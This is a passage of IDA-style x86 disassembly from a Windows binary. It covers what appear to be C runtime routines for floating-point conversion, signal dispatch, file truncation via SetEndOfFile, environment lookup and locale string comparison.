		cmp	edi, 15h
		jle	short loc_415359
		push	15h
		pop	edi


loc_415359:				; CODE XREF: sub_4151C8+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41536F:				; CODE XREF: sub_4151C8+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_414BD5
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41536F
		test	esi, esi
		jge	short loc_415399
		neg	esi
		and	esi, 0FFh
		jle	short loc_415399


loc_41538C:				; CODE XREF: sub_4151C8+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_414C03
		dec	esi
		pop	ecx
		jnz	short loc_41538C


loc_415399:				; CODE XREF: sub_4151C8+1B8j
					; sub_4151C8+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4153F6
		mov	[ebp+arg_C], ecx


loc_4153A9:				; CODE XREF: sub_4151C8+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_414BD5
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_414BD5
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_414B77
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_414BD5
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4153A9
		mov	eax, [ebp+arg_14]


loc_4153F6:				; CODE XREF: sub_4151C8+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_415433


loc_415403:				; CODE XREF: sub_4151C8+248j
		cmp	eax, ecx
		jb	short loc_415416
		cmp	byte ptr [eax],	39h
		jnz	short loc_415412
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_415403
; ---------------------------------------------------------------------------


loc_415412:				; CODE XREF: sub_4151C8+242j
		cmp	eax, ecx
		jnb	short loc_41541A


loc_415416:				; CODE XREF: sub_4151C8+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41541A:				; CODE XREF: sub_4151C8+24Cj
		inc	byte ptr [eax]


loc_41541C:				; CODE XREF: sub_4151C8+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41542B:				; CODE XREF: sub_4151C8+F0j
		mov	eax, [ebp+var_4]


loc_41542E:				; CODE XREF: sub_4151C8+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415433:				; CODE XREF: sub_4151C8+239j
					; sub_4151C8+275j
		cmp	eax, ecx
		jb	short loc_415443
		cmp	byte ptr [eax],	30h
		jnz	short loc_41543F
		dec	eax
		jmp	short loc_415433
; ---------------------------------------------------------------------------


loc_41543F:				; CODE XREF: sub_4151C8+272j
		cmp	eax, ecx
		jnb	short loc_41541C


loc_415443:				; CODE XREF: sub_4151C8+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_415452:				; CODE XREF: sub_4151C8+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41542E
sub_4151C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41545B	proc near		; CODE XREF: sub_4113CC+2A2Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4154C2
		dec	eax
		dec	eax
		jz	short loc_4154B3
		sub	eax, 4
		jz	short loc_4154B3
		sub	eax, 3
		jz	short loc_4154B3
		sub	eax, 4
		jz	short loc_4154A6
		sub	eax, 6
		jz	short loc_415499
		dec	eax
		jz	short loc_41548C
		or	eax, 0FFFFFFFFh
		jmp	loc_415584
; ---------------------------------------------------------------------------


loc_41548C:				; CODE XREF: sub_41545B+27j
		mov	esi, dword_47FBF0
		mov	eax, offset dword_47FBF0
		jmp	short loc_4154CD
; ---------------------------------------------------------------------------


loc_415499:				; CODE XREF: sub_41545B+24j
		mov	esi, dword_47FBEC
		mov	eax, offset dword_47FBEC
		jmp	short loc_4154CD
; ---------------------------------------------------------------------------


loc_4154A6:				; CODE XREF: sub_41545B+1Fj
		mov	esi, dword_47FBF4
		mov	eax, offset dword_47FBF4
		jmp	short loc_4154CD
; ---------------------------------------------------------------------------


loc_4154B3:				; CODE XREF: sub_41545B+10j
					; sub_41545B+15j ...
		push	edi
		call	sub_415588
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4154CD
; ---------------------------------------------------------------------------


loc_4154C2:				; CODE XREF: sub_41545B+Cj
		mov	esi, dword_47FBE8
		mov	eax, offset dword_47FBE8


loc_4154CD:				; CODE XREF: sub_41545B+3Cj
					; sub_41545B+49j ...
		cmp	esi, 1
		jnz	short loc_4154D9
		xor	eax, eax
		jmp	loc_415584
; ---------------------------------------------------------------------------


loc_4154D9:				; CODE XREF: sub_41545B+75j
		test	esi, esi
		jnz	short loc_4154E4
		push	3
		call	sub_40D156


loc_4154E4:				; CODE XREF: sub_41545B+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4154F6
		cmp	edi, 0Bh
		jz	short loc_4154F6
		cmp	edi, 4
		jnz	short loc_41551C


loc_4154F6:				; CODE XREF: sub_41545B+8Fj
					; sub_41545B+94j
		mov	ebx, dword_47F9C8
		and	dword_47F9C8, 0
		cmp	edi, ecx
		jnz	short loc_41554B
		mov	edx, dword_420274
		mov	dword_420274, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41551F
; ---------------------------------------------------------------------------


loc_41551C:				; CODE XREF: sub_41545B+99j
		mov	ebx, [ebp+arg_0]


loc_41551F:				; CODE XREF: sub_41545B+BFj
		cmp	edi, ecx
		jnz	short loc_41554B
		mov	eax, dword_420268
		mov	ecx, dword_42026C
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_415552
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:4201F8h[edx*4]


loc_415540:				; CODE XREF: sub_41545B+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_415540
		jmp	short loc_415552
; ---------------------------------------------------------------------------


loc_41554B:				; CODE XREF: sub_41545B+AAj
					; sub_41545B+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_415560


loc_415552:				; CODE XREF: sub_41545B+D7j
					; sub_41545B+EEj
		push	dword_420274
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41556E
; ---------------------------------------------------------------------------


loc_415560:				; CODE XREF: sub_41545B+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41556E
		cmp	edi, 4
		jnz	short loc_415581


loc_41556E:				; CODE XREF: sub_41545B+103j
					; sub_41545B+10Cj
		cmp	edi, 8
		mov	dword_47F9C8, ebx
		jnz	short loc_415581
		mov	eax, [ebp+arg_0]
		mov	dword_420274, eax


loc_415581:				; CODE XREF: sub_41545B+111j
					; sub_41545B+11Cj
		xor	eax, eax
		pop	ebx


loc_415584:				; CODE XREF: sub_41545B+2Cj
					; sub_41545B+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41545B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415588	proc near		; CODE XREF: sub_41545B+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_420270
		cmp	dword_4201F4, edx
		push	esi
		mov	eax, offset dword_4201F0
		jz	short loc_4155B6
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:4201F0h[esi*4]


loc_4155AA:				; CODE XREF: sub_415588+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_4155B6
		cmp	[eax+4], edx
		jnz	short loc_4155AA


loc_4155B6:				; CODE XREF: sub_415588+16j
					; sub_415588+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:4201F0h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4155CA
		cmp	[eax+4], edx
		jz	short locret_4155CC


loc_4155CA:				; CODE XREF: sub_415588+3Bj
		xor	eax, eax

locret_4155CC:				; CODE XREF: sub_415588+40j
		retn
sub_415588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155CD	proc near		; CODE XREF: sub_41416A+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_40B690
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_480D40
		jnb	loc_415702
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_480C40[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_415702
		push	1
		push	esi
		push	ebx
		call	sub_412573
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41570C
		push	2
		push	esi
		push	ebx
		call	sub_412573
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41570C
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4156AF
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_40B630
		push	8000h
		push	ebx
		call	sub_415A2C
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_415663:				; CODE XREF: sub_4155CD+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41566E
		mov	eax, edi


loc_41566E:				; CODE XREF: sub_4155CD+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_413190
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41568C
		sub	edi, eax
		test	edi, edi
		jle	short loc_4156A2
		jmp	short loc_415663
; ---------------------------------------------------------------------------


loc_41568C:				; CODE XREF: sub_4155CD+B5j
		cmp	dword_47F918, 5
		jnz	short loc_41569F
		mov	dword_47F914, 0Dh


loc_41569F:				; CODE XREF: sub_4155CD+C6j
		or	esi, 0FFFFFFFFh


loc_4156A2:				; CODE XREF: sub_4155CD+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_415A2C
		pop	ecx
		pop	ecx
		jmp	short loc_4156EF
; ---------------------------------------------------------------------------


loc_4156AF:				; CODE XREF: sub_4155CD+71j
		jge	short loc_4156EF
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_412573
		push	ebx
		call	sub_4140D6
		add	esp, 10h
		push	eax
		call	dword_417010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4156EF
		mov	dword_47F914, 0Dh
		call	dword_417044	; RtlGetLastWin32Error
		mov	dword_47F918, eax


loc_4156EF:				; CODE XREF: sub_4155CD+E0j
					; sub_4155CD:loc_4156AFj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_412573
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41570F
; ---------------------------------------------------------------------------


loc_415702:				; CODE XREF: sub_4155CD+1Aj
					; sub_4155CD+36j
		mov	dword_47F914, 9


loc_41570C:				; CODE XREF: sub_4155CD+4Ej
					; sub_4155CD+63j
		or	eax, 0FFFFFFFFh


loc_41570F:				; CODE XREF: sub_4155CD+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4155CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_415713	proc near		; CODE XREF: sub_414438+23p

arg_0		= dword	ptr  4

		cmp	dword_480F90, 0
		push	ebx
		push	esi
		mov	esi, dword_47F93C
		push	edi
		jz	short loc_41578A
		test	esi, esi
		jnz	short loc_415744
		cmp	dword_47F944, esi
		jz	short loc_41578A
		call	sub_415AE1
		test	eax, eax
		jnz	short loc_41578A
		mov	esi, dword_47F93C
		test	esi, esi
		jz	short loc_41578A


loc_415744:				; CODE XREF: sub_415713+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41578A
		push	ebx
		call	sub_40B5B0
		pop	ecx
		mov	edi, eax


loc_415755:				; CODE XREF: sub_415713+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41578A
		push	eax
		call	sub_40B5B0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41577D
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41577D
		push	edi
		push	ebx
		push	eax
		call	sub_415AA2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415782


loc_41577D:				; CODE XREF: sub_415713+51j
					; sub_415713+59j
		add	esi, 4
		jmp	short loc_415755
; ---------------------------------------------------------------------------


loc_415782:				; CODE XREF: sub_415713+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41578C
; ---------------------------------------------------------------------------


loc_41578A:				; CODE XREF: sub_415713+10j
					; sub_415713+1Cj ...
		xor	eax, eax


loc_41578C:				; CODE XREF: sub_415713+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_415713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415790	proc near		; CODE XREF: sub_4151C8+165p
					; sub_4159B0+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_415990
		cmp	cx, 7FFFh
		jnb	loc_415990
		cmp	dx, 0BFFDh
		ja	loc_415990
		cmp	dx, 3FBFh
		ja	short loc_4157F9
		xor	eax, eax
		jmp	short loc_415833
; ---------------------------------------------------------------------------


loc_4157F9:				; CODE XREF: sub_415790+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41581B
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41581B
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41581D
		cmp	[esi], eax
		jnz	short loc_41581D
		jmp	loc_41598A
; ---------------------------------------------------------------------------


loc_41581B:				; CODE XREF: sub_415790+71j
					; sub_415790+79j
		xor	eax, eax


loc_41581D:				; CODE XREF: sub_415790+80j
					; sub_415790+84j
		cmp	cx, ax
		jnz	short loc_415840
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_415840
		cmp	[ebx+4], eax
		jnz	short loc_415840
		cmp	[ebx], eax
		jnz	short loc_415840


loc_415833:				; CODE XREF: sub_415790+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4159AB
; ---------------------------------------------------------------------------


loc_415840:				; CODE XREF: sub_415790+90j
					; sub_415790+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_415850:				; CODE XREF: sub_415790+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_4158A4
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41586C:				; CODE XREF: sub_415790+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_414B56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415897
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_415897:				; CODE XREF: sub_415790+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41586C


loc_4158A4:				; CODE XREF: sub_415790+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_415850
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_4158E7


loc_4158C2:				; CODE XREF: sub_415790+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_4158E0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_414BD5
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4158C2


loc_4158E0:				; CODE XREF: sub_415790+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_415920


loc_4158E7:				; CODE XREF: sub_415790+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_415920
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_415900:				; CODE XREF: sub_415790+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_415909
		inc	[ebp+var_14]


loc_415909:				; CODE XREF: sub_415790+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_414C03
		dec	ebx
		pop	ecx
		jnz	short loc_415900
		cmp	[ebp+var_14], 0
		jz	short loc_415920
		or	byte ptr [ebp+var_24], 1


loc_415920:				; CODE XREF: sub_415790+155j
					; sub_415790+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_415937
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41596C


loc_415937:				; CODE XREF: sub_415790+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_415969
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_415964
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41595E
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41596C
; ---------------------------------------------------------------------------


loc_41595E:				; CODE XREF: sub_415790+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41596C
; ---------------------------------------------------------------------------


loc_415964:				; CODE XREF: sub_415790+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41596C
; ---------------------------------------------------------------------------


loc_415969:				; CODE XREF: sub_415790+1ABj
		inc	[ebp+var_24+2]


loc_41596C:				; CODE XREF: sub_415790+1A5j
					; sub_415790+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_415990
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41598A:				; CODE XREF: sub_415790+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4159AB
; ---------------------------------------------------------------------------


loc_415990:				; CODE XREF: sub_415790+42j
					; sub_415790+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4159AB:				; CODE XREF: sub_415790+ABj
					; sub_415790+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4159B0	proc near		; CODE XREF: sub_414CF7+440p
					; sub_4151C8+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_4206E8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_415A29
		jge	short loc_4159D8
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_420848
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4159D8:				; CODE XREF: sub_4159B0+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4159E3
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4159E3:				; CODE XREF: sub_4159B0+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_415A29
		push	esi
		push	edi


loc_4159EA:				; CODE XREF: sub_4159B0+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_415A22
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_415A15
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_415A15:				; CODE XREF: sub_4159B0+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_415790
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_415A22:				; CODE XREF: sub_4159B0+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4159EA
		pop	edi
		pop	esi


loc_415A29:				; CODE XREF: sub_4159B0+14j
					; sub_4159B0+36j
		pop	ebx
		leave
		retn
sub_4159B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A2C	proc near		; CODE XREF: sub_4155CD+8Bp
					; sub_4155CD+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_480D40
		jnb	short loc_415A93
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_480C40[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_415A93
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_415A6C
		and	cl, 7Fh
		jmp	short loc_415A79
; ---------------------------------------------------------------------------


loc_415A6C:				; CODE XREF: sub_415A2C+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_415A87
		or	cl, 80h


loc_415A79:				; CODE XREF: sub_415A2C+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415A87:				; CODE XREF: sub_415A2C+48j
		mov	dword_47F914, 16h
		jmp	short loc_415A9D
; ---------------------------------------------------------------------------


loc_415A93:				; CODE XREF: sub_415A2C+Bj
					; sub_415A2C+27j
		mov	dword_47F914, 9


loc_415A9D:				; CODE XREF: sub_415A2C+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_415A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AA2	proc near		; CODE XREF: sub_415713+5Ep
					; sub_415F7E+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_415AAF
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415AAF:				; CODE XREF: sub_415AA2+7j
		push	dword_480D44
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_480F64
		call	sub_415B4F
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_415ADC
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415ADC:				; CODE XREF: sub_415AA2+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_415AA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_415AE1	proc near		; CODE XREF: sub_415713+1Ep
					; sub_415DF7+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_47F944
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_415B42
		mov	ebx, dword_4170C0


loc_415AFA:				; CODE XREF: sub_415AE1+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_415B4A
		push	ebp
		call	sub_40B6BF
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_415B4A
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_415B4A
		push	edi
		push	[esp+18h+var_4]
		call	sub_415DF7
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_415AFA


loc_415B42:				; CODE XREF: sub_415AE1+11j
		xor	eax, eax


loc_415B44:				; CODE XREF: sub_415AE1+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_415B4A:				; CODE XREF: sub_415AE1+29j
					; sub_415AE1+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B44
sub_415AE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B4F	proc near		; CODE XREF: sub_415AA2+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417C10
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_47FC00, ebx
		push	1
		pop	edi
		jnz	short loc_415BC2
		push	edi
		mov	eax, offset dword_417860
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_417008	; CompareStringW
		test	eax, eax
		jz	short loc_415B9F
		mov	dword_47FC00, edi
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415B9F:				; CODE XREF: sub_415B4F+46j
		push	edi
		mov	eax, offset dword_42226C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_41700C	; CompareStringA
		test	eax, eax
		jz	loc_415DB8
		mov	dword_47FC00, 2


loc_415BC2:				; CODE XREF: sub_415B4F+31j
					; sub_415B4F+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_415BD9
		push	esi
		push	[ebp+arg_8]
		call	sub_415DCC
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_415BD9:				; CODE XREF: sub_415B4F+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_415BEE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_415DCC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_415BEE:				; CODE XREF: sub_415B4F+8Dj
		mov	eax, dword_47FC00
		cmp	eax, 2
		jnz	short loc_415C13
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41700C	; CompareStringA
		jmp	loc_415DBA
; ---------------------------------------------------------------------------


loc_415C13:				; CODE XREF: sub_415B4F+A7j
		cmp	eax, edi
		jnz	loc_415DB8
		cmp	[ebp+arg_18], ebx
		jnz	short loc_415C28
		mov	eax, dword_47F9B4
		mov	[ebp+arg_18], eax


loc_415C28:				; CODE XREF: sub_415B4F+CFj
		cmp	esi, ebx
		jz	short loc_415C35
		cmp	[ebp+arg_14], ebx
		jnz	loc_415CCD


loc_415C35:				; CODE XREF: sub_415B4F+DBj
